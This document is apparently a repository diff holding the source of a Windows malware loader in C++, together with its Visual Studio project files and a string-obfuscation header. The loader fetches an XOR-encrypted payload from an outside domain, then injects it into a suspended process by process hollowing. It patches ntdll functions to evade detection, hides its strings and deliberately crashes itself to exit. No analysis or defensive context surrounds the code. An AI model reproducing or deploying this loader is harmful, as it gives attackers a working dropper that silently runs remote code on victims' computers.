int openar() {
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)bittys.data();
PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(bittys.data() + DosHeader->e_lfanew);
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
ULONG_PTR retlen;
PROCESS_BASIC_INFORMATION pbi;
void* newImgBase;
DWORD64 ImgBaseAddress;
HMODULE hNtdll = GetModuleHandleA(EC("ntdll"));
HMODULE ntDll = LoadLibraryA(EC("ntdll.dll"));
if (ntDll == nullptr) {
#if DEBUG_MODE
(printf)(EC("Fail Load \n"));
#endif
return 1;
}
std::string nqr = EC("NtQueryInformationProcess");
EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());
if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
return 1;
}
if (!CreateProcess(GetInjekt(),
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
#if DEBUG_MODE
(printf)(EC("Fail Process \n"));
#endif
return 1;
}
patch_NtManageHotPatch64(pi.hProcess, hNtdll);
NtQueryInformationProcess(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&retlen
);
newImgBase = VirtualAllocEx(
pi.hProcess,
NULL,
NtHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
Podyom = pi.dwProcessId;
if (newImgBase == NULL) {
#if DEBUG_MODE
(printf)(EC("Fail Alloc \n"));
#endif
return 1;
}
WriteProcessMemory(pi.hProcess, newImgBase, bittys.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(bittys.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
if (!WriteProcessMemory(pi.hProcess,
(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
(LPVOID)((DWORD64)bittys.data() + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData,
0)) {
#if DEBUG_MODE
(printf)(EC("Fail Section \n"));
#endif
}
SectionHeader++;
}
ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {
#if DEBUG_MODE
(printf)(EC("Fail ImgBas \n"));
#endif
}
HANDLE NewThread = CreateRemoteThread(pi.hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
NULL,
CREATE_SUSPENDED,
NULL);
if (!NewThread) {
#if DEBUG_MODE
(printf)(EC("Fail Thrd \n"));
#endif
return 1;
}
SuspendThread(pi.hThread);
patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);
ResumeThread(NewThread);
/*std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
std::cout << "Shellcode injected successfully\n";*/
#if DEBUG_MODE
std::cout << EC("Inj Succes \n") << std::endl;
#endif
FreeLibrary(ntDll);
return 0;
}
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
std::string decoded;
std::vector<int> decodingTable(256, -1);
const std::string base64Chars =
EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
for (size_t i = 0; i < base64Chars.size(); i++) {
decodingTable[base64Chars[i]] = i;
}
int val = 0, valb = -8;
for (unsigned char c : encryptedBase64) {
if (decodingTable[c] == -1) break;
val = (val << 6) + decodingTable[c];
valb += 6;
if (valb >= 0) {
decoded.push_back((val >> valb) & 0xFF);
valb -= 8;
}
}
std::string encryptedData = decoded;
std::string decrypted;
size_t keyLength = key.size();
for (size_t i = 0; i < encryptedData.size(); ++i) {
decrypted += encryptedData[i] ^ key[i % keyLength];
}
return decrypted;
}
static std::map<std::string, std::string> dns_cache;
std::string DownloadStringBetter(const std::string& domain, const std::string& path) {
static bool init = (WSAStartup(MAKEWORD(2, 2), (WSADATA*)malloc(sizeof(WSADATA))) == 0);
std::string ip = dns_cache[domain];
if (ip.empty()) {
#if DEBUG_MODE
std::cout << EC("[DBG] Resolving ") << domain << EC(" via online API...\n");
#endif
HINTERNET hi = InternetOpenA(EC("Agents"), 1, 0, 0, 0);
if (hi) {
HINTERNET hu = InternetOpenUrlA(hi, (EC("https://dns.google/resolve?name=") + domain + EC("&type=A")).c_str(),
EC("Accept: application/dns-json\r\n"), -1, 0x84800000, 0);
if (hu) {
std::string resp; char buf[1024]; DWORD br;
while (InternetReadFile(hu, buf, 1024, &br) && br) resp.append(buf, br);
InternetCloseHandle(hu);
size_t start = resp.find(EC("\"data\":\""));
if (start != std::string::npos && (start += 8) < resp.length()) {
size_t end = resp.find('"', start);
if (end != std::string::npos) {
ip = resp.substr(start, end - start);
if (ip.find('.') != std::string::npos) {
dns_cache[domain] = ip;
#if DEBUG_MODE
std::cout << EC("[DBG] Resolved ") << domain << EC(" to ") << ip << EC(" via API\n");
#endif
}
else ip.clear();
}
}
}
InternetCloseHandle(hi);
}
if (ip.empty()) return EC("");
}
else {
#if DEBUG_MODE
std::cout << EC("[DBG] Using cached IP for ") << domain << EC(": ") << ip << EC("\n");
#endif
}
HINTERNET hi = InternetOpenA(EC("Agent"), 1, 0, 0, 0);
if (!hi) return EC("");
std::string url = EC("http://") + ip + path;
std::string headers = EC("Host: ") + domain + EC("\r\n");
#if DEBUG_MODE
std::cout << EC("[DBG] Connecting to ") << url << EC("\n");
#endif
HINTERNET hu = InternetOpenUrlA(hi, url.c_str(), headers.c_str(), -1, 0x84000000, 0);
if (!hu) {
#if DEBUG_MODE
std::cout << EC("[DBG] IP connection failed, trying direct domain...\n");
#endif
hu = InternetOpenUrlA(hi, (EC("http://") + domain + path).c_str(), 0, 0, 0x84000000, 0);
if (!hu) {
#if DEBUG_MODE
std::cout << EC("[DBG] All connections failed\n");
#endif
InternetCloseHandle(hi);
return EC("");
}
#if DEBUG_MODE
std::cout << EC("[DBG] Direct domain connection successful\n");
#endif
}
else {
#if DEBUG_MODE
std::cout << EC("[DBG] Connected via IP\n");
#endif
}
std::string result; char buf[4096]; DWORD br, total = 0;
#if DEBUG_MODE
std::cout << EC("[DBG] Reading response...\n");
#endif
while (InternetReadFile(hu, buf, 4096, &br) && br) {
total += br;
result.append(buf, br);
}
#if DEBUG_MODE
std::cout << EC("[DBG] Read ") << total << EC(" bytes total\n");
#endif
InternetCloseHandle(hu); InternetCloseHandle(hi);
return result;
}
std::string GRS(size_t length) {
const std::string charset =
std::string(EC("abcdefghijklmnopqrstuvwxyz")) +
std::string(EC("ABCDEFGHIJKLMNOPQRSTUVWXYZ")) +
std::string(EC("0123456789"));
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dist(0, charset.size() - 1);
std::string result;
result.reserve(length);
for (size_t i = 0; i < length; ++i) {
result += charset[dist(gen)];
}
return result;
}
std::vector<BYTE> Base64ToBytes(const std::string& base64String) {
DWORD bytesNeeded;
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
return {};
}
std::vector<BYTE> bytes(bytesNeeded);
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
return {};
}
return bytes;
}
std::string SplitAndPick(const std::string& input) {
std::vector<std::string> substrings;
std::stringstream ss(input);
std::string temp;
while (std::getline(ss, temp, '|')) {
substrings.push_back(temp);
}
if (substrings.empty()) {
return EC("");
}
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, substrings.size() - 1);
return substrings[dis(gen)];
}
struct SharedData {
DWORD signature;
volatile bool dataReady;
char buffer[256];
};
SharedData* findSharedData(HANDLE processHandle) {
MEMORY_BASIC_INFORMATION mbi;
uintptr_t address = 0;
while (VirtualQueryEx(processHandle, (LPCVOID)address, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READWRITE) && mbi.RegionSize >= sizeof(SharedData)) {
for (uintptr_t pos = (uintptr_t)mbi.BaseAddress; pos <= (uintptr_t)mbi.BaseAddress + mbi.RegionSize - sizeof(SharedData); pos += sizeof(DWORD)) {
DWORD signature;
SIZE_T bytesRead;
if (ReadProcessMemory(processHandle, (LPCVOID)pos, &signature, sizeof(DWORD), &bytesRead) && signature == 0xBA73593C) {
return (SharedData*)pos;
}
}
}
address = (uintptr_t)mbi.BaseAddress + mbi.RegionSize;
}
return nullptr;
}
void SndMSG(DWORD pid, std::string message)
{
HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (!processHandle) {
std::cerr << EC("Failed to open process!") << std::endl;
}
SharedData* remoteData = findSharedData(processHandle);
if (!remoteData) {
std::cerr << EC("Could not find receiver memory!") << std::endl;
CloseHandle(processHandle);
}
SIZE_T bytesWritten;
WriteProcessMemory(processHandle, (LPVOID)&remoteData->buffer, message.c_str(), message.length() + 1, &bytesWritten);
bool flag = true;
WriteProcessMemory(processHandle, (LPVOID)&remoteData->dataReady, &flag, sizeof(bool), &bytesWritten);
std::cout << EC("Message sent!") << std::endl;
CloseHandle(processHandle);
}
std::string ownrdid = EC("//OWNERID");
std::string bldsid = EC("//BUILDID");
/*
std::string ownrdid = EC("rz6zarjmaf0u9jq4v53hsnz4no61k28");
std::string bldsid = EC("4Suvv0GFZDE3St59PULCW014");
*/
/*
Turn it up, it's your favorite song
Dance, dance, dance to the distortion
Turn it up, keep it on repeat
Stumbling around like a wasted zombie
*/
std::string RandoK;
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
/*AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);*/
//(Sleep)(4000);
#if DEBUG_MODE
(printf)(EC("Beforea All \n"));
#endif
Sleep(5000);
HANDLE mutex = CreateMutexA(NULL, TRUE, ((EC("Global\\PFNMX_")) + bldsid).c_str());
#if DEBUG_MODE
(printf)(EC("Before Mutex 1 \n"));
#endif
if ((GetLastError)() == ERROR_ALREADY_EXISTS) {
*(uintptr_t*)0 = 0;
}
else
{
HANDLE mutexstb = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, ((EC("Global\\PFNX_")) + ownrdid).c_str());
#if DEBUG_MODE
(printf)(EC("Before Mutex 2 \n"));
#endif
//(Sleep)(3000);
if (mutexstb != NULL) {
CloseHandle(mutexstb);
}
else
{
#if DEBUG_MODE
(printf)(EC("Before All \n"));
#endif
//(Sleep)(3000);
//std::string UrlBlob = decrypt(std::regex_replace(DownloadStringBetter(EC("raw.githubusercontent.com"), EC("/VinieClara/Fortnite-Reverseal-Collection/refs/heads/main/HashNew/NMHash")), std::regex(EC("\\s+")), EC("")), EC("ZwCreateFile"));
//std::string MainURL = decrypt(SplitAndPick(UrlBlob), EC("ZwCreateFile"));
std::string MainURL = EC("bounty-valorant.lol");
#if DEBUG_MODE
std::cout << MainURL << std::endl;
(printf)(EC("All ok lol \n"));
#endif
//(Sleep)(3000);
try
{
int retry = 0;
std::string msgr = ownrdid + EC(":") + bldsid + EC(":") + MainURL;
A:
RandoK = GRS(14);
std::string bobak = decrypt(DownloadStringBetter(MainURL, (EC("/Stb/PokerFace/init.php?id=") + RandoK)), RandoK);
bittys = Base64ToBytes(bobak);
std::cout << bittys.size() << std::endl;
if (8 > bittys.size())
{
if (retry > 10)
{
*(uintptr_t*)0 = 0;
}
else
{
retry++;
(Sleep)(10000);
goto A;
}
}
#if DEBUG_MODE
(printf)(EC("Install Done going to open \n"));
#endif
(Sleep)(500);
(openar)();
#if DEBUG_MODE
(printf)(EC("Open Done Waiting Transfer \n"));
#endif
(Sleep)(8000);
SndMSG(Podyom, msgr);
/*
HANDLE hPipe = CreateFileA(EC("\\\\.\\pipe\\VccFramework"), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD bytesWritten;
if (!WriteFile(hPipe, msgr.c_str(), strlen(msgr.c_str()), &bytesWritten, NULL)) {
#if DEBUG_MODE
(printf)(EC("Write Error"));
#endif
CloseHandle(hPipe);
}*/
#if DEBUG_MODE
(printf)(EC("All Enndeddd \n"));
#endif
(Sleep)(300);
*(uintptr_t*)0 = 0;
}
catch (...) {}
}
}
}
+144
View File
@@ -0,0 +1,144 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{dcae9b38-1ed9-4806-a620-c92ec9595a45}</ProjectGuid>
<RootNamespace>Loader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;CURL_STATICLIB;CURL_DISABLE_LDAP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Encrypt.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+670
View File
@@ -0,0 +1,670 @@
#include <Windows.h>
#include <string>
#include <vector>
#include <utility>
#include <type_traits>
#include <chrono>
#include <random>
#include <iostream>
#ifndef BUILD_SEED
#define BUILD_SEED 0xDC78A74Bu // <-- This value gets randomized on each build via a prebuild command
#endif
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#define TIME_BASED_XOR_KEY \
( static_cast<std::uintptr_t>(BUILD_SEED) )
#define XORSTR_FORCEINLINE __forceinline
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed ^ BUILD_SEED;
for (char c : __FUNCSIG__)
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<76 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{
}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
#define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \
::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 4587983 ))
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
